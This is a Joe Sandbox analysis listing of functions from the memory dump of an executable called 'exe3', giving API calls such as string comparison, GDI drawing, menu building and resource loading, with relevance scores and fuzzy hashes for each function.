API String ID: 1437655972-4218389149
Opcode ID: 7f2c1e2e5e2c645b08b01752ebc158e9a12b48a506604062710fc7a2f73ca49e
Instruction ID: 0a715a53fcc9e3115de5dfcd1d010e0eb4dc38bc110e943a38e0443159ff0a80
Opcode Fuzzy Hash: 7f2c1e2e5e2c645b08b01752ebc158e9a12b48a506604062710fc7a2f73ca49e
Instruction Fuzzy Hash: 2EF02236E04623AB8311AF74EC48E4B76F8ABA5721B050936FA02E3350DB24CC0187B9

Function 004A6052 Relevance: 13.7, APIs: 9, Instructions: 221COMMON

Download Yara Rule

APIs

CompareStringW.KERNEL32(00000000,00000000,00BDDB4C,00000001,00BDDB4C,00000001,00000000,02B311DC,0000000C,00000000,0000000C,00000000,000001D0,00000000,00000000,004995A2), ref: 004A6090
CompareStringA.KERNEL32(00000000,00000000,00BDDB48,00000001,00BDDB48,00000001), ref: 004A60AD
CompareStringA.KERNEL32(0046F496,00000000,00000000,00000000,004995A2,00000000,00000000,02B311DC,0000000C,00000000,0000000C,00000000,000001D0,00000000,00000000,004995A2), ref: 004A610B
GetCPInfo.KERNEL32(00000000,00000000,00000000,02B311DC,0000000C,00000000,0000000C,00000000,000001D0,00000000,00000000,004995A2,00000000), ref: 004A615C
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000), ref: 004A61DB
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,?,?), ref: 004A623C
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,?,00000000,00000000), ref: 004A624F
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000), ref: 004A629B
CompareStringW.KERNEL32(0046F496,00000000,00000000,00000000,?,00000000,?,00000000), ref: 004A62B3

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: ByteCharCompareMultiStringWide$Info
String ID:
API String ID: 1651298574-0
Opcode ID: 4340bbaa913b4d2762f5a34a833bbf868c5e729b3b89dc620ece6b45d1beebe8
Instruction ID: 5efa17577a0c2a9834ef701a9894de2bd1fd999f679675b52f56112521aaa73b
Opcode Fuzzy Hash: 4340bbaa913b4d2762f5a34a833bbf868c5e729b3b89dc620ece6b45d1beebe8
Instruction Fuzzy Hash: FB71E27290014AAFCF219F94CC85AEF7FB9FB26304F0A016BF951A2261D7398C51DB95

Function 00448DE0 Relevance: 13.7, APIs: 9, Instructions: 186COMMON

Download Yara Rule

APIs

CopyRect.USER32(?,00000000), ref: 00448E57
IsRectEmpty.USER32(?), ref: 00448E62
GetClientRect.USER32(00000000,?), ref: 00448EA1
DPtoLP.GDI32(?,?,00000002), ref: 00448EB3
LPtoDP.GDI32(?,?,00000002), ref: 00448EF0
CreateRectRgnIndirect.GDI32(?), ref: 00448F08
OffsetRect.USER32(?,?,?), ref: 00448F2D
LPtoDP.GDI32(?,?,00000002), ref: 00448F3F

Part of subcall function 004B0C58: __EH_prolog.LIBCMT ref: 004B0C5D
Part of subcall function 004B0C58: CreatePen.GDI32(?,?,?), ref: 004B0C80

Part of subcall function 004B023F: SelectObject.GDI32(?,00000000), ref: 004B0261
Part of subcall function 004B023F: SelectObject.GDI32(?,?), ref: 004B0277

Part of subcall function 004B0203: GetStockObject.GDI32(?), ref: 004B020C
Part of subcall function 004B0203: SelectObject.GDI32(?,00000000), ref: 004B0226
Part of subcall function 004B0203: SelectObject.GDI32(?,00000000), ref: 004B0231

Part of subcall function 004B0377: SetROP2.GDI32(?,?), ref: 004B0390
Part of subcall function 004B0377: SetROP2.GDI32(?,?), ref: 004B039E

Rectangle.GDI32(?,?,?,?,?), ref: 00448FB3

Part of subcall function 004B066C: SelectClipRgn.GDI32(?,00000000), ref: 004B068E
Part of subcall function 004B066C: SelectClipRgn.GDI32(?,?), ref: 004B06A4

Part of subcall function 004B0C42: DeleteObject.GDI32(00000000), ref: 004B0C51

Part of subcall function 004B09B5: __EH_prolog.LIBCMT ref: 004B09BA

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: ObjectSelect$Rect$ClipCreateH_prolog$ClientCopyDeleteEmptyIndirectOffsetRectangleStock
String ID:
API String ID: 2567930114-0
Opcode ID: bdd6444399079c5d58a00fc796dda16c9bd7c7844ac5b156d519276e3dbfe2b8
Instruction ID: 4dcdb9dc0b4e2485bcd155c7461ffe28fdb10b6293e1f4a0ce4a46573ec37fc8
Opcode Fuzzy Hash: bdd6444399079c5d58a00fc796dda16c9bd7c7844ac5b156d519276e3dbfe2b8
Instruction Fuzzy Hash: F4615E711083409FD318DF65C885EABB7E9EFC8718F404A1DF69683291DB78E909CB66

Function 004A1734 Relevance: 13.7, APIs: 9, Instructions: 177COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,00BDDB4C,00000001,00000000,00000000,7622E860,00CFDBE4,?,?,?,0049AC0D,?,?,?,00000000), ref: 004A1776
LCMapStringA.KERNEL32(00000000,00000100,00BDDB48,00000001,00000000,00000000,?,?,0049AC0D,?,?,?,00000000,00000001), ref: 004A1792
LCMapStringA.KERNEL32(?,?,?,0049AC0D,?,?,7622E860,00CFDBE4,?,?,?,0049AC0D,?,?,?,00000000), ref: 004A17DB
MultiByteToWideChar.KERNEL32(?,00CFDBE5,?,0049AC0D,00000000,00000000,7622E860,00CFDBE4,?,?,?,0049AC0D,?,?,?,00000000), ref: 004A1813
MultiByteToWideChar.KERNEL32(00000000,00000001,?,0049AC0D,?,00000000,?,?,0049AC0D,?), ref: 004A186B
LCMapStringW.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?,0049AC0D,?), ref: 004A1881
LCMapStringW.KERNEL32(?,?,?,00000000,?,?,?,?,0049AC0D,?), ref: 004A18B4
LCMapStringW.KERNEL32(?,?,?,?,?,00000000,?,?,0049AC0D,?), ref: 004A191C

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: String$ByteCharMultiWide
String ID:
API String ID: 352835431-0
Opcode ID: 85c8042dd7d883f81064965b09c295bd606dc19e043f58b560904b77d316b11b
Instruction ID: 95df7f287d2dcfcc2d7472fa37f5d6e3c6ed3a1454f4fa3d8609b79859b11b6f
Opcode Fuzzy Hash: 85c8042dd7d883f81064965b09c295bd606dc19e043f58b560904b77d316b11b
Instruction Fuzzy Hash: 6D518932900249AFCF229F94CC45AEF7FB9FB5AB54F14412AF911A12B0D3398C60DB65

Function 0043A630 Relevance: 13.6, APIs: 9, Instructions: 118COMMON

Download Yara Rule

APIs

GetCapture.USER32 ref: 0043A636
ClientToScreen.USER32(?,?), ref: 0043A673
OffsetRect.USER32(?,?,?), ref: 0043A69C
GetParent.USER32(?), ref: 0043A6A2

Part of subcall function 004B07B1: ScreenToClient.USER32(?,00000000), ref: 004B07C5
Part of subcall function 004B07B1: ScreenToClient.USER32(?,00000008), ref: 004B07CE

GetClientRect.USER32(?,?), ref: 0043A6C5
OffsetRect.USER32(?,?,00000000), ref: 0043A6E3
OffsetRect.USER32(?,?,00000000), ref: 0043A6FB
OffsetRect.USER32(?,00000000,?), ref: 0043A719
OffsetRect.USER32(?,00000000,?), ref: 0043A739

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Rect$Offset$Client$Screen$CaptureParent
String ID:
API String ID: 838496554-0
Opcode ID: c2775fe8dda100c324fd8316d206deb9d7d58380f4741f75a5c4c96c74ed5768
Instruction ID: b45827f5ebbc2c8f64891c03af5dd01109a0f8cd2415025b1cf21f448718dfb1
Opcode Fuzzy Hash: c2775fe8dda100c324fd8316d206deb9d7d58380f4741f75a5c4c96c74ed5768
Instruction Fuzzy Hash: AC41E6B5208301AFD718DF69C994D6BB7E9EBC8704F008A1EF986C3251DB74ED048A66

Function 004AB058 Relevance: 13.6, APIs: 9, Instructions: 113COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004AB05D
FindResourceA.KERNEL32(?,00000000,00000005), ref: 004AB095
LoadResource.KERNEL32(?,00000000,?,?,?,00000000), ref: 004AB09D

Part of subcall function 004ABE97: UnhookWindowsHookEx.USER32(?), ref: 004ABEBC

LockResource.KERNEL32(?,?,00000000,?,?,?,00000000), ref: 004AB0AA
IsWindowEnabled.USER32(?), ref: 004AB0DD
EnableWindow.USER32(?,00000000), ref: 004AB0EB
EnableWindow.USER32(?,00000001), ref: 004AB179
GetActiveWindow.USER32 ref: 004AB184
SetActiveWindow.USER32(?,?,?,00000000,?,?,?,00000000), ref: 004AB192

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Window$Resource$ActiveEnable$EnabledFindH_prologHookLoadLockUnhookWindows
String ID:
API String ID: 401145483-0
Opcode ID: b751faa0d86faafcf5044c8c11385d049c2843115ff0aa672456c1bf8c1ed479
Instruction ID: 108576bd3a206950dcd5c3fa870b04ded494c9039b9bd115f6d276e0707444a0
Opcode Fuzzy Hash: b751faa0d86faafcf5044c8c11385d049c2843115ff0aa672456c1bf8c1ed479
Instruction Fuzzy Hash: C741CE70A00604DFCF21AF65CC56AAFBBB5EF66705F10061FF512A2292CB394D41CBA9

Function 00429C40 Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 316windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00429C7F
CreateRectRgn.GDI32(00000000,00000000,00000001,?), ref: 00429DA0
SetRect.USER32(?,00000000,00000000,00000001,?), ref: 00429DC9

Part of subcall function 00425B80: __ftol.LIBCMT ref: 00425CA5
Part of subcall function 00425B80: __ftol.LIBCMT ref: 00425CB2

FillRgn.GDI32(?,?,?), ref: 00429E46
PatBlt.GDI32(?,00000000,00000000,00000001,?,00F00021), ref: 00429EB9

Part of subcall function 00423D80: GetSysColor.USER32(0000000F), ref: 00423D8D

Part of subcall function 004B0CA8: __EH_prolog.LIBCMT ref: 004B0CAD
Part of subcall function 004B0CA8: CreateSolidBrush.GDI32(?), ref: 004B0CCA

GetObjectA.GDI32(?,00000018,?), ref: 00429F35

Strings

ETERMINATOR, xrefs: 00429FBD

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Rect$Create__ftol$BrushClientColorFillH_prologObjectSolid
String ID: ETERMINATOR
API String ID: 522557250-2947605395
Opcode ID: cfc3f690a05118defc1f7036851b7408b93028935cd42cd3d4892becaffc6ec4
Instruction ID: 9e654df954cbba2e29de2f5afba957177147a01ec1c8e47aafe3ec6b60d46106
Opcode Fuzzy Hash: cfc3f690a05118defc1f7036851b7408b93028935cd42cd3d4892becaffc6ec4
Instruction Fuzzy Hash: AAC18F712083419FD724DF65D885BAFB7E8AB94708F40491EF18AC3291DB78ED09CB66

Function 0058CAC8 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266COMMON

Download Yara Rule

APIs

Part of subcall function 0058DD4A: _free.LIBCMT ref: 0058DD81
Part of subcall function 0058DD4A: _abort.LIBCMT ref: 0058DDC8

_memcmp.LIBVCRUNTIME ref: 0058CD72
_free.LIBCMT ref: 0058CDE3
_free.LIBCMT ref: 0058CDFC
_free.LIBCMT ref: 0058CE2E
_free.LIBCMT ref: 0058CE37
_free.LIBCMT ref: 0058CE43

Strings

C, xrefs: 0058CC30

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: _free$_abort_memcmp
String ID: C
API String ID: 137591632-1037565863
Opcode ID: a37479cea0696683c6d124698088734f1b711ea856b90d8f0d1b3fc250e5b4f8
Instruction ID: 03ea57f42c4ff3f9baadfcafd5ab19fff410a9c304929268af4a156d3a97b2e7
Opcode Fuzzy Hash: a37479cea0696683c6d124698088734f1b711ea856b90d8f0d1b3fc250e5b4f8
Instruction Fuzzy Hash: CEB13F7590161ADFDB24EF18C889AADBBB4FF48304F5045EAE849A7351E731AE90CF50

Function 004395D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 181windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004B0AAB: __EH_prolog.LIBCMT ref: 004B0AB0
Part of subcall function 004B0AAB: BeginPaint.USER32(?,?,?,?,00424FE9), ref: 004B0AD9

Part of subcall function 004B065C: GetClipBox.GDI32(?,?), ref: 004B0663

IsRectEmpty.USER32(?), ref: 0043961D
GetSysColor.USER32(0000000F), ref: 0043962E

Part of subcall function 004B0CA8: __EH_prolog.LIBCMT ref: 004B0CAD
Part of subcall function 004B0CA8: CreateSolidBrush.GDI32(?), ref: 004B0CCA

Part of subcall function 004B023F: SelectObject.GDI32(?,00000000), ref: 004B0261
Part of subcall function 004B023F: SelectObject.GDI32(?,?), ref: 004B0277

PatBlt.GDI32(?,?,?,?,?,00F00021), ref: 00439678
GetClientRect.USER32(?,?), ref: 00439691
LoadBitmapA.USER32(?,?), ref: 004396C8
GetObjectA.GDI32(?,00000018,?), ref: 00439717

Strings

ETERMINATOR, xrefs: 00439782

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Object$H_prologRectSelect$BeginBitmapBrushClientClipColorCreateEmptyLoadPaintSolid
String ID: ETERMINATOR
API String ID: 4061870766-2947605395
Opcode ID: 185b39df7410bca0119d5be1d0a5de410295a52a79437ec86fd9b43e47ee0dfd
Instruction ID: b8bd80bc7eb3b1bdbb9a128dd43f0e2d82e71902c09f618dcb9322b273a1718c
Opcode Fuzzy Hash: 185b39df7410bca0119d5be1d0a5de410295a52a79437ec86fd9b43e47ee0dfd
Instruction Fuzzy Hash: A0614D721183819FD324DF69C845F9BBBE8FBD5705F048A1DF19983281DB78A905CB62

Function 004514B0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004B0AAB: __EH_prolog.LIBCMT ref: 004B0AB0
Part of subcall function 004B0AAB: BeginPaint.USER32(?,?,?,?,00424FE9), ref: 004B0AD9

GetClientRect.USER32(?,?), ref: 004514ED

Part of subcall function 004B01EC: SelectObject.GDI32(?,?), ref: 004B01F4

PatBlt.GDI32(?,00000000,00000000,?,?,00000042), ref: 0045158A
GetObjectA.GDI32(00000000,00000018,?), ref: 004515A5
SelectObject.GDI32(00000000,00000000), ref: 004515C0
SelectObject.GDI32(00000000,?), ref: 004515EF
DeleteDC.GDI32(00000000), ref: 004515F2

Strings

ETERMINATOR, xrefs: 004515CA, 00451606

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Object$Select$BeginClientDeleteH_prologPaintRect
String ID: ETERMINATOR
API String ID: 2713081445-2947605395
Opcode ID: 57dae73d669136e46976318aacbfcd1d73fa18e179590c9a59aaf93da148819b
Instruction ID: 3ad22c29029572890d571bb174bd4c441c9286cec53006635086509f1d47967c
Opcode Fuzzy Hash: 57dae73d669136e46976318aacbfcd1d73fa18e179590c9a59aaf93da148819b
Instruction Fuzzy Hash: 68514D71208345AFD314DFA9DC85F6BBBE8EBC9705F004A2DF68583281D778A805CB66

Function 0043CA40 Relevance: 12.4, APIs: 8, Instructions: 368windowCOMMON

Download Yara Rule

APIs

CreatePopupMenu.USER32 ref: 0043CBBE
AppendMenuA.USER32(?,?,?,?), ref: 0043CD21
AppendMenuA.USER32(?,00000000,?,?), ref: 0043CD59
ModifyMenuA.USER32(?,?,00000000,?,?), ref: 0043CD77
AppendMenuA.USER32(?,?,00000000,?), ref: 0043CDD5
ModifyMenuA.USER32(?,?,?,?,?), ref: 0043CDFA
AppendMenuA.USER32(?,?,?,?), ref: 0043CE42
ModifyMenuA.USER32(?,?,?,?,?), ref: 0043CE67

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Menu$Append$Modify$CreatePopup
String ID:
API String ID: 3846898120-0
Opcode ID: a2a0c3b10f87a860970cc32600f84dec0d8bf597d76db50348bd7830b6f6ab2e
Instruction ID: e5472d9d0b6f1aecf49b84e9d694d690c85d5534dac38eb864b831ca58d41ab8
Opcode Fuzzy Hash: a2a0c3b10f87a860970cc32600f84dec0d8bf597d76db50348bd7830b6f6ab2e
Instruction Fuzzy Hash: 84D175716042118BC714DF19D885B2BBBF4FF89754F04492EF98AA3351E738AD05CB9A

Function 00560D80 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00560DB4
std::_Lockit::_Lockit.LIBCPMT ref: 00560DD4
std::_Lockit::~_Lockit.LIBCPMT ref: 00560DF4
std::_Facet_Register.LIBCPMT ref: 00560EB8
std::_Lockit::~_Lockit.LIBCPMT ref: 00560ED0

Strings

y*W, xrefs: 00560DFF
y*W, xrefs: 00560E58

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

